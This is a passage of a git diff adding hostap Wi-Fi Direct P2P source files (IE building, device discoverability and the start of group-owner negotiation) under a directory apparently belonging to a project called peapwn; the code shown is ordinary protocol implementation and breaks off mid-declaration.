+int p2p_other_scan_completed(struct p2p_data *p2p); + +const char * p2p_wps_method_text(enum p2p_wps_method method); + +/** + * p2p_set_config_timeout - Set local config timeouts + * @p2p: P2P module context from p2p_init() + * @go_timeout: Time in 10 ms units it takes to start the GO mode + * @client_timeout: Time in 10 ms units it takes to start the client mode + */ +void p2p_set_config_timeout(struct p2p_data *p2p, u8 go_timeout, + u8 client_timeout); + +void p2p_increase_search_delay(struct p2p_data *p2p, unsigned int delay); + +int p2p_set_wfd_ie_beacon(struct p2p_data *p2p, struct wpabuf *ie); +int p2p_set_wfd_ie_probe_req(struct p2p_data *p2p, struct wpabuf *ie); +int p2p_set_wfd_ie_probe_resp(struct p2p_data *p2p, struct wpabuf *ie); +int p2p_set_wfd_ie_assoc_req(struct p2p_data *p2p, struct wpabuf *ie); +int p2p_set_wfd_ie_invitation(struct p2p_data *p2p, struct wpabuf *ie); +int p2p_set_wfd_ie_prov_disc_req(struct p2p_data *p2p, struct wpabuf *ie); +int p2p_set_wfd_ie_prov_disc_resp(struct p2p_data *p2p, struct wpabuf *ie); +int p2p_set_wfd_ie_go_neg(struct p2p_data *p2p, struct wpabuf *ie); +int p2p_set_wfd_dev_info(struct p2p_data *p2p, const struct wpabuf *elem); +int p2p_set_wfd_assoc_bssid(struct p2p_data *p2p, const struct wpabuf *elem); +int p2p_set_wfd_coupled_sink_info(struct p2p_data *p2p, + const struct wpabuf *elem); +struct wpabuf * wifi_display_encaps(struct wpabuf *subelems); + +/** + * p2p_set_disc_int - Set min/max discoverable interval for p2p_find + * @p2p: P2P module context from p2p_init() + * @min_disc_int: minDiscoverableInterval (in units of 100 TU); default 1 + * @max_disc_int: maxDiscoverableInterval (in units of 100 TU); default 3 + * @max_disc_tu: Maximum number of TUs (1.024 ms) for discoverable interval; or + * -1 not to limit + * Returns: 0 on success, or -1 on failure + * + * This function can be used to configure minDiscoverableInterval and + * maxDiscoverableInterval parameters for the Listen state during device + * discovery (p2p_find). A random number of 100 TU units is picked for each + * Listen state iteration from [min_disc_int,max_disc_int] range. + * + * max_disc_tu can be used to futher limit the discoverable duration. However, + * it should be noted that use of this parameter is not recommended since it + * would not be compliant with the P2P specification. + */ +int p2p_set_disc_int(struct p2p_data *p2p, int min_disc_int, int max_disc_int, + int max_disc_tu); + +/** + * p2p_get_state_txt - Get current P2P state for debug purposes + * @p2p: P2P module context from p2p_init() + * Returns: Name of the current P2P module state + * + * It should be noted that the P2P module state names are internal information + * and subject to change at any point, i.e., this information should be used + * mainly for debugging purposes. + */ +const char * p2p_get_state_txt(struct p2p_data *p2p); + +#endif /* P2P_H */ diff --git a/peapwn/mods/hostap/src/p2p/p2p_build.c b/peapwn/mods/hostap/src/p2p/p2p_build.c new file mode 100644 index 000000000..42c023266 --- /dev/null +++ b/peapwn/mods/hostap/src/p2p/p2p_build.c @@ -0,0 +1,460 @@ +/* + * P2P - IE builder + * Copyright (c) 2009-2010, Atheros Communications + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "common/ieee802_11_defs.h" +#include "wps/wps_i.h" +#include "p2p_i.h" + + +void p2p_buf_add_action_hdr(struct wpabuf *buf, u8 subtype, u8 dialog_token) +{ + wpabuf_put_u8(buf, WLAN_ACTION_VENDOR_SPECIFIC); + wpabuf_put_be24(buf, OUI_WFA); + wpabuf_put_u8(buf, P2P_OUI_TYPE); + + wpabuf_put_u8(buf, subtype); /* OUI Subtype */ + wpabuf_put_u8(buf, dialog_token); + wpa_printf(MSG_DEBUG, "P2P: * Dialog Token: %d", dialog_token); +} + + +void p2p_buf_add_public_action_hdr(struct wpabuf *buf, u8 subtype, + u8 dialog_token) +{ + wpabuf_put_u8(buf, WLAN_ACTION_PUBLIC); + wpabuf_put_u8(buf, WLAN_PA_VENDOR_SPECIFIC); + wpabuf_put_be24(buf, OUI_WFA); + wpabuf_put_u8(buf, P2P_OUI_TYPE); + + wpabuf_put_u8(buf, subtype); /* OUI Subtype */ + wpabuf_put_u8(buf, dialog_token); + wpa_printf(MSG_DEBUG, "P2P: * Dialog Token: %d", dialog_token); +} + + +u8 * p2p_buf_add_ie_hdr(struct wpabuf *buf) +{ + u8 *len; + + /* P2P IE header */ + wpabuf_put_u8(buf, WLAN_EID_VENDOR_SPECIFIC); + len = wpabuf_put(buf, 1); /* IE length to be filled */ + wpabuf_put_be24(buf, OUI_WFA); + wpabuf_put_u8(buf, P2P_OUI_TYPE); + wpa_printf(MSG_DEBUG, "P2P: * P2P IE header"); + return len; +} + + +void p2p_buf_update_ie_hdr(struct wpabuf *buf, u8 *len) +{ + /* Update P2P IE Length */ + *len = (u8 *) wpabuf_put(buf, 0) - len - 1; +} + + +void p2p_buf_add_capability(struct wpabuf *buf, u8 dev_capab, u8 group_capab) +{ + /* P2P Capability */ + wpabuf_put_u8(buf, P2P_ATTR_CAPABILITY); + wpabuf_put_le16(buf, 2); + wpabuf_put_u8(buf, dev_capab); /* Device Capabilities */ + wpabuf_put_u8(buf, group_capab); /* Group Capabilities */ + wpa_printf(MSG_DEBUG, "P2P: * Capability dev=%02x group=%02x", + dev_capab, group_capab); +} + + +void p2p_buf_add_go_intent(struct wpabuf *buf, u8 go_intent) +{ + /* Group Owner Intent */ + wpabuf_put_u8(buf, P2P_ATTR_GROUP_OWNER_INTENT); + wpabuf_put_le16(buf, 1); + wpabuf_put_u8(buf, go_intent); + wpa_printf(MSG_DEBUG, "P2P: * GO Intent: Intent %u Tie breaker %u", + go_intent >> 1, go_intent & 0x01); +} + + +void p2p_buf_add_listen_channel(struct wpabuf *buf, const char *country, + u8 reg_class, u8 channel) +{ + /* Listen Channel */ + wpabuf_put_u8(buf, P2P_ATTR_LISTEN_CHANNEL); + wpabuf_put_le16(buf, 5); + wpabuf_put_data(buf, country, 3); + wpabuf_put_u8(buf, reg_class); /* Regulatory Class */ + wpabuf_put_u8(buf, channel); /* Channel Number */ + wpa_printf(MSG_DEBUG, "P2P: * Listen Channel: Regulatory Class %u " + "Channel %u", reg_class, channel); +} + + +void p2p_buf_add_operating_channel(struct wpabuf *buf, const char *country, + u8 reg_class, u8 channel) +{ + /* Operating Channel */ + wpabuf_put_u8(buf, P2P_ATTR_OPERATING_CHANNEL); + wpabuf_put_le16(buf, 5); + wpabuf_put_data(buf, country, 3); + wpabuf_put_u8(buf, reg_class); /* Regulatory Class */ + wpabuf_put_u8(buf, channel); /* Channel Number */ + wpa_printf(MSG_DEBUG, "P2P: * Operating Channel: Regulatory Class %u " + "Channel %u", reg_class, channel); +} + + +void p2p_buf_add_channel_list(struct wpabuf *buf, const char *country, + struct p2p_channels *chan) +{ + u8 *len; + size_t i; + + /* Channel List */ + wpabuf_put_u8(buf, P2P_ATTR_CHANNEL_LIST); + len = wpabuf_put(buf, 2); /* IE length to be filled */ + wpabuf_put_data(buf, country, 3); /* Country String */ + + for (i = 0; i < chan->reg_classes; i++) { + struct p2p_reg_class *c = &chan->reg_class[i]; + wpabuf_put_u8(buf, c->reg_class); + wpabuf_put_u8(buf, c->channels); + wpabuf_put_data(buf, c->channel, c->channels); + } + + /* Update attribute length */ + WPA_PUT_LE16(len, (u8 *) wpabuf_put(buf, 0) - len - 2); + wpa_hexdump(MSG_DEBUG, "P2P: * Channel List", + len + 2, (u8 *) wpabuf_put(buf, 0) - len - 2); +} + + +void p2p_buf_add_status(struct wpabuf *buf, u8 status) +{ + /* Status */ + wpabuf_put_u8(buf, P2P_ATTR_STATUS); + wpabuf_put_le16(buf, 1); + wpabuf_put_u8(buf, status); + wpa_printf(MSG_DEBUG, "P2P: * Status: %d", status); +} + + +void p2p_buf_add_device_info(struct wpabuf *buf, struct p2p_data *p2p, + struct p2p_device *peer) +{ + u8 *len; + u16 methods; + size_t nlen, i; + + /* P2P Device Info */ + wpabuf_put_u8(buf, P2P_ATTR_DEVICE_INFO); + len = wpabuf_put(buf, 2); /* IE length to be filled */ + + /* P2P Device address */ + wpabuf_put_data(buf, p2p->cfg->dev_addr, ETH_ALEN); + + /* Config Methods */ + methods = 0; + if (peer && peer->wps_method != WPS_NOT_READY) { + if (peer->wps_method == WPS_PBC) + methods |= WPS_CONFIG_PUSHBUTTON; + else if (peer->wps_method == WPS_PIN_DISPLAY || + peer->wps_method == WPS_PIN_KEYPAD) + methods |= WPS_CONFIG_DISPLAY | WPS_CONFIG_KEYPAD; + } else if (p2p->cfg->config_methods) { + methods |= p2p->cfg->config_methods & + (WPS_CONFIG_PUSHBUTTON | WPS_CONFIG_DISPLAY | + WPS_CONFIG_KEYPAD); + } else { + methods |= WPS_CONFIG_PUSHBUTTON; + methods |= WPS_CONFIG_DISPLAY | WPS_CONFIG_KEYPAD; + } + wpabuf_put_be16(buf, methods); + + /* Primary Device Type */ + wpabuf_put_data(buf, p2p->cfg->pri_dev_type, + sizeof(p2p->cfg->pri_dev_type)); + + /* Number of Secondary Device Types */ + wpabuf_put_u8(buf, p2p->cfg->num_sec_dev_types); + + /* Secondary Device Type List */ + for (i = 0; i < p2p->cfg->num_sec_dev_types; i++) + wpabuf_put_data(buf, p2p->cfg->sec_dev_type[i], + WPS_DEV_TYPE_LEN); + + /* Device Name */ + nlen = p2p->cfg->dev_name ? os_strlen(p2p->cfg->dev_name) : 0; + wpabuf_put_be16(buf, ATTR_DEV_NAME); + wpabuf_put_be16(buf, nlen); + wpabuf_put_data(buf, p2p->cfg->dev_name, nlen); + + /* Update attribute length */ + WPA_PUT_LE16(len, (u8 *) wpabuf_put(buf, 0) - len - 2); + wpa_printf(MSG_DEBUG, "P2P: * Device Info"); +} + + +void p2p_buf_add_device_id(struct wpabuf *buf, const u8 *dev_addr) +{ + /* P2P Device ID */ + wpabuf_put_u8(buf, P2P_ATTR_DEVICE_ID); + wpabuf_put_le16(buf, ETH_ALEN); + wpabuf_put_data(buf, dev_addr, ETH_ALEN); + wpa_printf(MSG_DEBUG, "P2P: * Device ID: " MACSTR, MAC2STR(dev_addr)); +} + + +void p2p_buf_add_config_timeout(struct wpabuf *buf, u8 go_timeout, + u8 client_timeout) +{ + /* Configuration Timeout */ + wpabuf_put_u8(buf, P2P_ATTR_CONFIGURATION_TIMEOUT); + wpabuf_put_le16(buf, 2); + wpabuf_put_u8(buf, go_timeout); + wpabuf_put_u8(buf, client_timeout); + wpa_printf(MSG_DEBUG, "P2P: * Configuration Timeout: GO %d (*10ms) " + "client %d (*10ms)", go_timeout, client_timeout); +} + + +void p2p_buf_add_intended_addr(struct wpabuf *buf, const u8 *interface_addr) +{ + /* Intended P2P Interface Address */ + wpabuf_put_u8(buf, P2P_ATTR_INTENDED_INTERFACE_ADDR); + wpabuf_put_le16(buf, ETH_ALEN); + wpabuf_put_data(buf, interface_addr, ETH_ALEN); + wpa_printf(MSG_DEBUG, "P2P: * Intended P2P Interface Address " MACSTR, + MAC2STR(interface_addr)); +} + + +void p2p_buf_add_group_bssid(struct wpabuf *buf, const u8 *bssid) +{ + /* P2P Group BSSID */ + wpabuf_put_u8(buf, P2P_ATTR_GROUP_BSSID); + wpabuf_put_le16(buf, ETH_ALEN); + wpabuf_put_data(buf, bssid, ETH_ALEN); + wpa_printf(MSG_DEBUG, "P2P: * P2P Group BSSID " MACSTR, + MAC2STR(bssid)); +} + + +void p2p_buf_add_group_id(struct wpabuf *buf, const u8 *dev_addr, + const u8 *ssid, size_t ssid_len) +{ + /* P2P Group ID */ + wpabuf_put_u8(buf, P2P_ATTR_GROUP_ID); + wpabuf_put_le16(buf, ETH_ALEN + ssid_len); + wpabuf_put_data(buf, dev_addr, ETH_ALEN); + wpabuf_put_data(buf, ssid, ssid_len); + wpa_printf(MSG_DEBUG, "P2P: * P2P Group ID " MACSTR, + MAC2STR(dev_addr)); + wpa_hexdump_ascii(MSG_DEBUG, "P2P: P2P Group ID SSID", ssid, ssid_len); +} + + +void p2p_buf_add_invitation_flags(struct wpabuf *buf, u8 flags) +{ + /* Invitation Flags */ + wpabuf_put_u8(buf, P2P_ATTR_INVITATION_FLAGS); + wpabuf_put_le16(buf, 1); + wpabuf_put_u8(buf, flags); + wpa_printf(MSG_DEBUG, "P2P: * Invitation Flags: bitmap 0x%x", flags); +} + + +static void p2p_buf_add_noa_desc(struct wpabuf *buf, struct p2p_noa_desc *desc) +{ + if (desc == NULL) + return; + + wpabuf_put_u8(buf, desc->count_type); + wpabuf_put_le32(buf, desc->duration); + wpabuf_put_le32(buf, desc->interval); + wpabuf_put_le32(buf, desc->start_time); +} + + +void p2p_buf_add_noa(struct wpabuf *buf, u8 noa_index, u8 opp_ps, u8 ctwindow, + struct p2p_noa_desc *desc1, struct p2p_noa_desc *desc2) +{ + /* Notice of Absence */ + wpabuf_put_u8(buf, P2P_ATTR_NOTICE_OF_ABSENCE); + wpabuf_put_le16(buf, 2 + (desc1 ? 13 : 0) + (desc2 ? 13 : 0)); + wpabuf_put_u8(buf, noa_index); + wpabuf_put_u8(buf, (opp_ps ? 0x80 : 0) | (ctwindow & 0x7f)); + p2p_buf_add_noa_desc(buf, desc1); + p2p_buf_add_noa_desc(buf, desc2); + wpa_printf(MSG_DEBUG, "P2P: * Notice of Absence"); +} + + +void p2p_buf_add_ext_listen_timing(struct wpabuf *buf, u16 period, + u16 interval) +{ + /* Extended Listen Timing */ + wpabuf_put_u8(buf, P2P_ATTR_EXT_LISTEN_TIMING); + wpabuf_put_le16(buf, 4); + wpabuf_put_le16(buf, period); + wpabuf_put_le16(buf, interval); + wpa_printf(MSG_DEBUG, "P2P: * Extended Listen Timing (period %u msec " + "interval %u msec)", period, interval); +} + + +void p2p_buf_add_p2p_interface(struct wpabuf *buf, struct p2p_data *p2p) +{ + /* P2P Interface */ + wpabuf_put_u8(buf, P2P_ATTR_INTERFACE); + wpabuf_put_le16(buf, ETH_ALEN + 1 + ETH_ALEN); + /* P2P Device address */ + wpabuf_put_data(buf, p2p->cfg->dev_addr, ETH_ALEN); + /* + * FIX: Fetch interface address list from driver. Do not include + * the P2P Device address if it is never used as interface address. + */ + /* P2P Interface Address Count */ + wpabuf_put_u8(buf, 1); + wpabuf_put_data(buf, p2p->cfg->dev_addr, ETH_ALEN); +} + + +static int p2p_add_wps_string(struct wpabuf *buf, enum wps_attribute attr, + const char *val) +{ + size_t len; + + len = val ? os_strlen(val) : 0; + if (wpabuf_tailroom(buf) < 4 + len) + return -1; + wpabuf_put_be16(buf, attr); +#ifndef CONFIG_WPS_STRICT + if (len == 0) { + /* + * Some deployed WPS implementations fail to parse zeor-length + * attributes. As a workaround, send a space character if the + * device attribute string is empty. + */ + if (wpabuf_tailroom(buf) < 3) + return -1; + wpabuf_put_be16(buf, 1); + wpabuf_put_u8(buf, ' '); + return 0; + } +#endif /* CONFIG_WPS_STRICT */ + wpabuf_put_be16(buf, len); + if (val) + wpabuf_put_data(buf, val, len); + return 0; +} + + +int p2p_build_wps_ie(struct p2p_data *p2p, struct wpabuf *buf, int pw_id, + int all_attr) +{ + u8 *len; + int i; + + if (wpabuf_tailroom(buf) < 6) + return -1; + wpabuf_put_u8(buf, WLAN_EID_VENDOR_SPECIFIC); + len = wpabuf_put(buf, 1); + wpabuf_put_be32(buf, WPS_DEV_OUI_WFA); + + if (wps_build_version(buf) < 0) + return -1; + + if (all_attr) { + if (wpabuf_tailroom(buf) < 5) + return -1; + wpabuf_put_be16(buf, ATTR_WPS_STATE); + wpabuf_put_be16(buf, 1); + wpabuf_put_u8(buf, WPS_STATE_NOT_CONFIGURED); + } + + if (pw_id >= 0) { + if (wpabuf_tailroom(buf) < 6) + return -1; + /* Device Password ID */ + wpabuf_put_be16(buf, ATTR_DEV_PASSWORD_ID); + wpabuf_put_be16(buf, 2); + wpa_printf(MSG_DEBUG, "P2P: WPS IE Device Password ID: %d", + pw_id); + wpabuf_put_be16(buf, pw_id); + } + + if (all_attr) { + if (wpabuf_tailroom(buf) < 5) + return -1; + wpabuf_put_be16(buf, ATTR_RESPONSE_TYPE); + wpabuf_put_be16(buf, 1); + wpabuf_put_u8(buf, WPS_RESP_ENROLLEE_INFO); + + if (wps_build_uuid_e(buf, p2p->cfg->uuid) < 0 || + p2p_add_wps_string(buf, ATTR_MANUFACTURER, + p2p->cfg->manufacturer) < 0 || + p2p_add_wps_string(buf, ATTR_MODEL_NAME, + p2p->cfg->model_name) < 0 || + p2p_add_wps_string(buf, ATTR_MODEL_NUMBER, + p2p->cfg->model_number) < 0 || + p2p_add_wps_string(buf, ATTR_SERIAL_NUMBER, + p2p->cfg->serial_number) < 0) + return -1; + + if (wpabuf_tailroom(buf) < 4 + WPS_DEV_TYPE_LEN) + return -1; + wpabuf_put_be16(buf, ATTR_PRIMARY_DEV_TYPE); + wpabuf_put_be16(buf, WPS_DEV_TYPE_LEN); + wpabuf_put_data(buf, p2p->cfg->pri_dev_type, WPS_DEV_TYPE_LEN); + + if (p2p_add_wps_string(buf, ATTR_DEV_NAME, p2p->cfg->dev_name) + < 0) + return -1; + + if (wpabuf_tailroom(buf) < 6) + return -1; + wpabuf_put_be16(buf, ATTR_CONFIG_METHODS); + wpabuf_put_be16(buf, 2); + wpabuf_put_be16(buf, p2p->cfg->config_methods); + } + + if (wps_build_wfa_ext(buf, 0, NULL, 0) < 0) + return -1; + + if (all_attr && p2p->cfg->num_sec_dev_types) { + if (wpabuf_tailroom(buf) < + 4 + WPS_DEV_TYPE_LEN * p2p->cfg->num_sec_dev_types) + return -1; + wpabuf_put_be16(buf, ATTR_SECONDARY_DEV_TYPE_LIST); + wpabuf_put_be16(buf, WPS_DEV_TYPE_LEN * + p2p->cfg->num_sec_dev_types); + wpabuf_put_data(buf, p2p->cfg->sec_dev_type, + WPS_DEV_TYPE_LEN * + p2p->cfg->num_sec_dev_types); + } + + /* Add the WPS vendor extensions */ + for (i = 0; i < P2P_MAX_WPS_VENDOR_EXT; i++) { + if (p2p->wps_vendor_ext[i] == NULL) + break; + if (wpabuf_tailroom(buf) < + 4 + wpabuf_len(p2p->wps_vendor_ext[i])) + continue; + wpabuf_put_be16(buf, ATTR_VENDOR_EXT); + wpabuf_put_be16(buf, wpabuf_len(p2p->wps_vendor_ext[i])); + wpabuf_put_buf(buf, p2p->wps_vendor_ext[i]); + } + + p2p_buf_update_ie_hdr(buf, len); + + return 0; +} diff --git a/peapwn/mods/hostap/src/p2p/p2p_dev_disc.c b/peapwn/mods/hostap/src/p2p/p2p_dev_disc.c new file mode 100644 index 000000000..76d01cfc6 --- /dev/null +++ b/peapwn/mods/hostap/src/p2p/p2p_dev_disc.c @@ -0,0 +1,325 @@ +/* + * Wi-Fi Direct - P2P Device Discoverability procedure + * Copyright (c) 2010, Atheros Communications + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "common/ieee802_11_defs.h" +#include "p2p_i.h" +#include "p2p.h" + + +static struct wpabuf * p2p_build_dev_disc_req(struct p2p_data *p2p, + struct p2p_device *go, + const u8 *dev_id) +{ + struct wpabuf *buf; + u8 *len; + + buf = wpabuf_alloc(100); + if (buf == NULL) + return NULL; + + go->dialog_token++; + if (go->dialog_token == 0) + go->dialog_token = 1; + p2p_buf_add_public_action_hdr(buf, P2P_DEV_DISC_REQ, go->dialog_token); + + len = p2p_buf_add_ie_hdr(buf); + p2p_buf_add_device_id(buf, dev_id); + p2p_buf_add_group_id(buf, go->info.p2p_device_addr, go->oper_ssid, + go->oper_ssid_len); + p2p_buf_update_ie_hdr(buf, len); + + return buf; +} + + +void p2p_dev_disc_req_cb(struct p2p_data *p2p, int success) +{ + p2p_dbg(p2p, "Device Discoverability Request TX callback: success=%d", + success); + + if (!success) { + /* + * Use P2P find, if needed, to find the other device or to + * retry device discoverability. + */ + p2p_set_state(p2p, P2P_CONNECT); + p2p_set_timeout(p2p, 0, 100000); + return; + } + + p2p_dbg(p2p, "GO acknowledged Device Discoverability Request - wait for response"); + /* + * TODO: is the remain-on-channel from Action frame TX long enough for + * most cases or should we try to increase its duration and/or start + * another remain-on-channel if needed once the previous one expires? + */ +} + + +int p2p_send_dev_disc_req(struct p2p_data *p2p, struct p2p_device *dev) +{ + struct p2p_device *go; + struct wpabuf *req; + + go = p2p_get_device(p2p, dev->member_in_go_dev); + if (go == NULL || dev->oper_freq <= 0) { + p2p_dbg(p2p, "Could not find peer entry for GO and frequency to send Device Discoverability Request"); + return -1; + } + + req = p2p_build_dev_disc_req(p2p, go, dev->info.p2p_device_addr); + if (req == NULL) + return -1; + + p2p_dbg(p2p, "Sending Device Discoverability Request to GO " MACSTR + " for client " MACSTR, + MAC2STR(go->info.p2p_device_addr), + MAC2STR(dev->info.p2p_device_addr)); + + p2p->pending_client_disc_go = go; + os_memcpy(p2p->pending_client_disc_addr, dev->info.p2p_device_addr, + ETH_ALEN); + p2p->pending_action_state = P2P_PENDING_DEV_DISC_REQUEST; + if (p2p_send_action(p2p, dev->oper_freq, go->info.p2p_device_addr, + p2p->cfg->dev_addr, go->info.p2p_device_addr, + wpabuf_head(req), wpabuf_len(req), 1000) < 0) { + p2p_dbg(p2p, "Failed to send Action frame"); + wpabuf_free(req); + /* TODO: how to recover from failure? */ + return -1; + } + + wpabuf_free(req); + + return 0; +} + + +static struct wpabuf * p2p_build_dev_disc_resp(u8 dialog_token, u8 status) +{ + struct wpabuf *buf; + u8 *len; + + buf = wpabuf_alloc(100); + if (buf == NULL) + return NULL; + + p2p_buf_add_public_action_hdr(buf, P2P_DEV_DISC_RESP, dialog_token); + + len = p2p_buf_add_ie_hdr(buf); + p2p_buf_add_status(buf, status); + p2p_buf_update_ie_hdr(buf, len); + + return buf; +} + + +void p2p_dev_disc_resp_cb(struct p2p_data *p2p, int success) +{ + p2p_dbg(p2p, "Device Discoverability Response TX callback: success=%d", + success); + p2p->cfg->send_action_done(p2p->cfg->cb_ctx); +} + + +static void p2p_send_dev_disc_resp(struct p2p_data *p2p, u8 dialog_token, + const u8 *addr, int freq, u8 status) +{ + struct wpabuf *resp; + + resp = p2p_build_dev_disc_resp(dialog_token, status); + if (resp == NULL) + return; + + p2p_dbg(p2p, "Sending Device Discoverability Response to " MACSTR + " (status %u freq %d)", + MAC2STR(addr), status, freq); + + p2p->pending_action_state = P2P_PENDING_DEV_DISC_RESPONSE; + if (p2p_send_action(p2p, freq, addr, p2p->cfg->dev_addr, + p2p->cfg->dev_addr, + wpabuf_head(resp), wpabuf_len(resp), 200) < 0) { + p2p_dbg(p2p, "Failed to send Action frame"); + } + + wpabuf_free(resp); +} + + +void p2p_process_dev_disc_req(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len, int rx_freq) +{ + struct p2p_message msg; + size_t g; + + p2p_dbg(p2p, "Received Device Discoverability Request from " MACSTR + " (freq=%d)", MAC2STR(sa), rx_freq); + + if (p2p_parse(data, len, &msg)) + return; + + if (msg.dialog_token == 0) { + p2p_dbg(p2p, "Invalid Dialog Token 0 (must be nonzero) in Device Discoverability Request"); + p2p_send_dev_disc_resp(p2p, msg.dialog_token, sa, rx_freq, + P2P_SC_FAIL_INVALID_PARAMS); + p2p_parse_free(&msg); + return; + } + + if (msg.device_id == NULL) { + p2p_dbg(p2p, "P2P Device ID attribute missing from Device Discoverability Request"); + p2p_send_dev_disc_resp(p2p, msg.dialog_token, sa, rx_freq, + P2P_SC_FAIL_INVALID_PARAMS); + p2p_parse_free(&msg); + return; + } + + for (g = 0; g < p2p->num_groups; g++) { + if (p2p_group_go_discover(p2p->groups[g], msg.device_id, sa, + rx_freq) == 0) { + p2p_dbg(p2p, "Scheduled GO Discoverability Request for the target device"); + /* + * P2P group code will use a callback to indicate TX + * status, so that we can reply to the request once the + * target client has acknowledged the request or it has + * timed out. + */ + p2p->pending_dev_disc_dialog_token = msg.dialog_token; + os_memcpy(p2p->pending_dev_disc_addr, sa, ETH_ALEN); + p2p->pending_dev_disc_freq = rx_freq; + p2p_parse_free(&msg); + return; + } + } + + p2p_dbg(p2p, "Requested client was not found in any group or did not support client discoverability"); + p2p_send_dev_disc_resp(p2p, msg.dialog_token, sa, rx_freq, + P2P_SC_FAIL_UNABLE_TO_ACCOMMODATE); + p2p_parse_free(&msg); +} + + +void p2p_process_dev_disc_resp(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len) +{ + struct p2p_message msg; + struct p2p_device *go; + u8 status; + + p2p_dbg(p2p, "Received Device Discoverability Response from " MACSTR, + MAC2STR(sa)); + + go = p2p->pending_client_disc_go; + if (go == NULL || + os_memcmp(sa, go->info.p2p_device_addr, ETH_ALEN) != 0) { + p2p_dbg(p2p, "Ignore unexpected Device Discoverability Response"); + return; + } + + if (p2p_parse(data, len, &msg)) + return; + + if (msg.status == NULL) { + p2p_parse_free(&msg); + return; + } + + if (msg.dialog_token != go->dialog_token) { + p2p_dbg(p2p, "Ignore Device Discoverability Response with unexpected dialog token %u (expected %u)", + msg.dialog_token, go->dialog_token); + p2p_parse_free(&msg); + return; + } + + status = *msg.status; + p2p_parse_free(&msg); + + p2p_dbg(p2p, "Device Discoverability Response status %u", status); + + if (p2p->go_neg_peer == NULL || + os_memcmp(p2p->pending_client_disc_addr, + p2p->go_neg_peer->info.p2p_device_addr, ETH_ALEN) != 0 || + os_memcmp(p2p->go_neg_peer->member_in_go_dev, + go->info.p2p_device_addr, ETH_ALEN) != 0) { + p2p_dbg(p2p, "No pending operation with the client discoverability peer anymore"); + return; + } + + if (status == 0) { + /* + * Peer is expected to be awake for at least 100 TU; try to + * connect immediately. + */ + p2p_dbg(p2p, "Client discoverability request succeeded"); + if (p2p->state == P2P_CONNECT) { + /* + * Change state to force the timeout to start in + * P2P_CONNECT again without going through the short + * Listen state. + */ + p2p_set_state(p2p, P2P_CONNECT_LISTEN); + p2p->cfg->send_action_done(p2p->cfg->cb_ctx); + } + p2p_set_timeout(p2p, 0, 0); + } else { + /* + * Client discoverability request failed; try to connect from + * timeout. + */ + p2p_dbg(p2p, "Client discoverability request failed"); + p2p_set_timeout(p2p, 0, 500000); + } + +} + + +void p2p_go_disc_req_cb(struct p2p_data *p2p, int success) +{ + p2p_dbg(p2p, "GO Discoverability Request TX callback: success=%d", + success); + p2p->cfg->send_action_done(p2p->cfg->cb_ctx); + + if (p2p->pending_dev_disc_dialog_token == 0) { + p2p_dbg(p2p, "No pending Device Discoverability Request"); + return; + } + + p2p_send_dev_disc_resp(p2p, p2p->pending_dev_disc_dialog_token, + p2p->pending_dev_disc_addr, + p2p->pending_dev_disc_freq, + success ? P2P_SC_SUCCESS : + P2P_SC_FAIL_UNABLE_TO_ACCOMMODATE); + + p2p->pending_dev_disc_dialog_token = 0; +} + + +void p2p_process_go_disc_req(struct p2p_data *p2p, const u8 *da, const u8 *sa, + const u8 *data, size_t len, int rx_freq) +{ + unsigned int tu; + struct wpabuf *ies; + + p2p_dbg(p2p, "Received GO Discoverability Request - remain awake for 100 TU"); + + ies = p2p_build_probe_resp_ies(p2p); + if (ies == NULL) + return; + + /* Remain awake 100 TU on operating channel */ + p2p->pending_client_disc_freq = rx_freq; + tu = 100; + if (p2p->cfg->start_listen(p2p->cfg->cb_ctx, rx_freq, 1024 * tu / 1000, + ies) < 0) { + p2p_dbg(p2p, "Failed to start listen mode for client discoverability"); + } + wpabuf_free(ies); +} diff --git a/peapwn/mods/hostap/src/p2p/p2p_go_neg.c b/peapwn/mods/hostap/src/p2p/p2p_go_neg.c new file mode 100644 index 000000000..008651e47 --- /dev/null +++ b/peapwn/mods/hostap/src/p2p/p2p_go_neg.c @@ -0,0 +1,1160 @@ +/* + * Wi-Fi Direct - P2P Group Owner Negotiation + * Copyright (c) 2009-2010, Atheros Communications + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "common/ieee802_11_defs.h" +#include "wps/wps_defs.h" +#include "p2p_i.h" +#include "p2p.h" + + +static int p2p_go_det(u8 own_intent, u8 peer_value) +{ + u8 peer_intent = peer_value >> 1; + if (own_intent == peer_intent) { + if (own_intent == P2P_MAX_GO_INTENT) + return -1; /* both devices want to become GO */ + + /* Use tie breaker bit to determine GO */ + return (peer_value & 0x01) ? 0 : 1; + } + + return own_intent > peer_intent; +} + + +int p2p_peer_channels_check(struct p2p_data *p2p, struct p2p_channels *own, + struct p2p_device *dev, + const u8 *channel_list, size_t channel_list_len) +{ + const u8 *pos, *end; + struct p2p_channels *ch; + size_t channels; + struct p2p_channels intersection; + + ch = &dev->channels; + os_memset(ch, 0, sizeof(*ch)); + pos = channel_list; + end = channel_list + channel_list_len; + + if (end - pos < 3) + return -1; + os_memcpy(dev->country, pos, 3); + wpa_hexdump_ascii(MSG_DEBUG, "P2P: Peer country", pos, 3); + if (pos[2] != 0x04 && os_memcmp(pos, p2p->cfg->country, 2) != 0) { + p2p_info(p2p, "Mismatching country (ours=%c%c peer's=%c%c)", + p2p->cfg->country[0], p2p->cfg->country[1], + pos[0], pos[1]); + return -1; + } + pos += 3; + + while (pos + 2 < end) { + struct p2p_reg_class *cl = &ch->reg_class[ch->reg_classes]; + cl->reg_class = *pos++; + if (pos + 1 + pos[0] > end) { + p2p_info(p2p, "Invalid peer Channel List"); + return -1; + } + channels = *pos++; + cl->channels = channels > P2P_MAX_REG_CLASS_CHANNELS ? + P2P_MAX_REG_CLASS_CHANNELS : channels; + os_memcpy(cl->channel, pos, cl->channels); + pos += channels; + ch->reg_classes++; + if (ch->reg_classes == P2P_MAX_REG_CLASSES) + break; + } + + p2p_channels_intersect(own, &dev->channels, &intersection); + p2p_dbg(p2p, "Own reg_classes %d peer reg_classes %d intersection reg_classes %d", + (int) own->reg_classes, + (int) dev->channels.reg_classes, + (int) intersection.reg_classes); + if (intersection.reg_classes == 0) { + p2p_info(p2p, "No common channels found"); + return -1; + } + return 0; +} + + +static int 